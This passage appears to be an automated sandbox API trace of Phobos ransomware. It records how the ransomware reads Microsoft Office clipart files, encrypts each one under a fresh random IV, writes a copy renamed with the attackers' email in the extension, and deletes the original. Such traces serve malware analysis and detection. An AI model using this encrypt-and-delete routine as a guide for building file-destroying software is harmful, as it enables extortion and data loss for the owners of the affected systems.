files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0166.386] SetEvent (hEvent=0x298) returned 1 [0166.386] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.387] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2004) returned 1 [0166.387] CloseHandle (hObject=0x2e0) returned 1 [0166.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0166.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.387] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.387] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.388] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a50) returned 1 [0166.388] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.388] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x7d4, lpOverlapped=0x0) returned 1 [0166.413] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x7e0) returned 1 [0166.413] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x7e0, lpOverlapped=0x0) returned 1 [0166.415] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0166.415] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.415] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.415] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.415] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.415] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0166.415] CloseHandle (hObject=0x2e0) returned 1 [0166.415] CloseHandle (hObject=0x2c4) returned 1 [0166.415] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0166.417] SetEvent (hEvent=0x298) returned 1 [0166.418] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.418] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2404) returned 1 [0166.418] CloseHandle (hObject=0x2c4) returned 1 [0166.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0166.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.419] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.419] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.420] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d15d0) returned 1 [0166.420] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.420] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x964, lpOverlapped=0x0) returned 1 [0166.437] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x970, dwBufLen=0x970 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x970) returned 1 [0166.437] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x970, lpOverlapped=0x0) returned 1 [0166.438] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1810) returned 1 [0166.438] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.438] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.438] CryptDestroyKey (hKey=0x1d1810) returned 1 [0166.438] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.439] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0166.439] CloseHandle (hObject=0x2c4) returned 1 [0166.439] CloseHandle (hObject=0x2e0) returned 1 [0166.441] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0166.443] SetEvent (hEvent=0x298) returned 1 [0166.443] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.444] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2232) returned 1 [0166.444] CloseHandle (hObject=0x2e0) returned 1 [0166.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0166.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.444] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.444] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.445] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1450) returned 1 [0166.445] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.445] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8b8, lpOverlapped=0x0) returned 1 [0166.471] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8c0) returned 1 [0166.471] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x8c0, lpOverlapped=0x0) returned 1 [0166.472] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1810) returned 1 [0166.472] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.472] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.473] CryptDestroyKey (hKey=0x1d1810) returned 1 [0166.473] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.473] CryptDestroyKey (hKey=0x1d1450) returned 1 [0166.473] CloseHandle (hObject=0x2e0) returned 1 [0166.473] CloseHandle (hObject=0x2c4) returned 1 [0166.473] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0166.475] SetEvent (hEvent=0x298) returned 1 [0166.476] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.477] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1804) returned 1 [0166.477] CloseHandle (hObject=0x2c4) returned 1 [0166.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0166.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.478] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.478] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.479] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1b50) returned 1 [0166.479] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.479] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x70c, lpOverlapped=0x0) returned 1 [0166.513] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x710, dwBufLen=0x710 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x710) returned 1 [0166.513] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x710, lpOverlapped=0x0) returned 1 [0166.514] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0166.514] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.514] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.514] CryptDestroyKey (hKey=0x1d1910) returned 1 [0166.514] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.514] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0166.514] CloseHandle (hObject=0x2c4) returned 1 [0166.514] CloseHandle (hObject=0x2e0) returned 1 [0166.516] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0166.518] SetEvent (hEvent=0x298) returned 1 [0166.518] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.519] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1888) returned 1 [0166.519] CloseHandle (hObject=0x2e0) returned 1 [0166.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0166.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.520] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.520] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.521] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1610) returned 1 [0166.521] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.521] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x760, lpOverlapped=0x0) returned 1 [0166.539] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x770, dwBufLen=0x770 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x770) returned 1 [0166.539] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x770, lpOverlapped=0x0) returned 1 [0166.540] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0166.541] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.541] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.541] CryptDestroyKey (hKey=0x1d1910) returned 1 [0166.541] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.541] CryptDestroyKey (hKey=0x1d1610) returned 1 [0166.541] CloseHandle (hObject=0x2e0) returned 1 [0166.541] CloseHandle (hObject=0x2c4) returned 1 [0166.541] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0166.543] SetEvent (hEvent=0x298) returned 1 [0166.543] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.544] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3796) returned 1 [0166.544] CloseHandle (hObject=0x2c4) returned 1 [0166.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0166.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.544] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.544] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 